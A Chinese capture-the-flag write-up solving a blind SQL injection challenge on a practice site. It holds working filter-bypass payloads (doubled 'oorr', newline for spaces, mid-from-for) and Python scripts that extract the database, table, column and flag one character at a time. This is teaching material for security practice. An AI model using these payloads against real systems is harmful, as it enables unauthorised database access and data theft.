实验吧_认真一点（各种绕过下的盲注）

打开链接，看到这个页面，一脸又是sql注入的样子

翻翻源码没有任何提示

打开burp开始抓包，包头与返回头又没有任何提示，试着开始修改ID 的值，观察页面变化

当我输入id=1'时，页面返回“you are not in.......”，当输入id=1'and时，页面返回Sql injection detected!，说明and被过滤了

接着就是开始试服务器到底过滤了哪些字符：and，union，空格，,，#，+

接着就开始尝试注入语句了：id=1'/**/or/**/'1'='1，结果却返回了“you are not in......”，没见过的操作啊，还是我做的题太少了

赶紧翻看wp，后来才知道原来这边虽然没有过滤or，但后台对于or有别的操作，这种改变是可能绕过的，一般的后台处理逻辑是匹配or、or（不分大小写）、or+空格并替换为空。尝试改变大小写和用oorr代替，发现回显都为You are in，也就是说，后台处理应该是匹配or（小写），并将其替换为空，并且仅仅处理了一次，而且经过测试，*也在后台被改变，因此我们可以拿%0a来代替空格

接下来就是盲注的常规操作了，但这里过滤了and和逗号，后来测试的时候还发现过滤了substr

先爆当前数据库名的长度：

import requests

str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
for i in range(1,30):
    key = {'id':"0'oorr(length(database())=%s)oorr'0"%i}
    r = requests.post(url, data=key).text
    print(i)
    if str1 in r:
        print('the length of database is %s'%i)
        break

开始跑数据库名：

import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
database = ''
for i in range(1,19):
    for j in guess:
        key = {'id':"0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0" %(i,j)}
        r = requests.post(url, data=key).text
        print(key)
        if str1 in r:
            database += j
            print(j)
            break
print(database)

接着开始跑表的长度（跑的时候还发现；也被和谐了，气死了找了我好久）

import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
i = 1
while True:
    flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='')oorr'0"%i
    flag = flag.replace(' ', chr(0x0a))
    key = {'id':flag}       
    r = requests.post(url, data=key).text
    print(key)
    if str1 in r:
        print('the length of tables is %s'%i)
        break
    i += 1   

import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
tables = ''
for i in range(1,12):
    for j in guess:        
        flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%s')oorr'0"%(i, j)    
        flag = flag.replace(' ', chr(0x0a))
        key = {'id':flag}       
        r = requests.post(url, data=key).text
        print(key)
        if str1 in r:
            tables += j
            print(j)
            break

print(tables)

最后结果有2张表，原来我的guess中并没有包含进@，所以导致这里两张表之间没有被隔开，下面代码中我会补全字符串

一看就知道flag就在fiag表中了，还是跑列长

import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
i = 1
while True:
    flag = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='')oorr'0"%i
    flag = flag.replace(' ', chr(0x0a))
    key = {'id':flag}       
    r = requests.post(url, data=key).text
    print(key)
    if str1 in r:
        print('the length of columns is %s'%i)
        break
    i += 1     

忘了说一下，这里虽然写的6，但我们的搜索条件是第6个为空，那么字符长度应该为5

import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{}?!:@#$%&()[],.'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
columns = ''
for i in range(1,6):
    for j in guess:        
        flag = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0"%(i, j)    
        flag = flag.replace(' ', chr(0x0a))
        key = {'id':flag}       
        r = requests.post(url, data=key).text
        print(key)
        if str1 in r:
            columns += j
            print(j)
            break

print(columns)

跑出了列名：fl$4g

最后就是dump数据了

先看看数据有多少位

import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{}?!:@#$%&()[],.'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
i = 1
while True:
    flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='')oorr'0"%i
    flag = flag.replace(' ', chr(0x0a))
    key = {'id':flag}       
    r = requests.post(url, data=key).text
    print(key)
    if str1 in r:
        print('the length of data is %s'%i)
        break
    i += 1  

最后看来一共13位

直接开跑

data = ''
for i in range(1,14):
    for j in guess:        
        flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0"%(i, j)    
        flag = flag.replace(' ', chr(0x0a))
        key = {'id':flag}       
        r = requests.post(url, data=key).text
        print(key)
        if str1 in r:
            data += j
            print(j)
            break

print(data)

剧情真是一波三折，坑是一个接着一个，我最后得到的结果如下

这怎么可能是答案呢，又去看了一眼wp，原来是flag中第十四位是' '了，这就导致我在跑数据的时候就发生了错误，flag根本不止13位

改个数字继续跑

要不是wp我根本想不到这个坑，这里真的是要膜拜各位大佬，这里的-实际是由空格转义来的，所以真正的flag是flag{haha~you win!}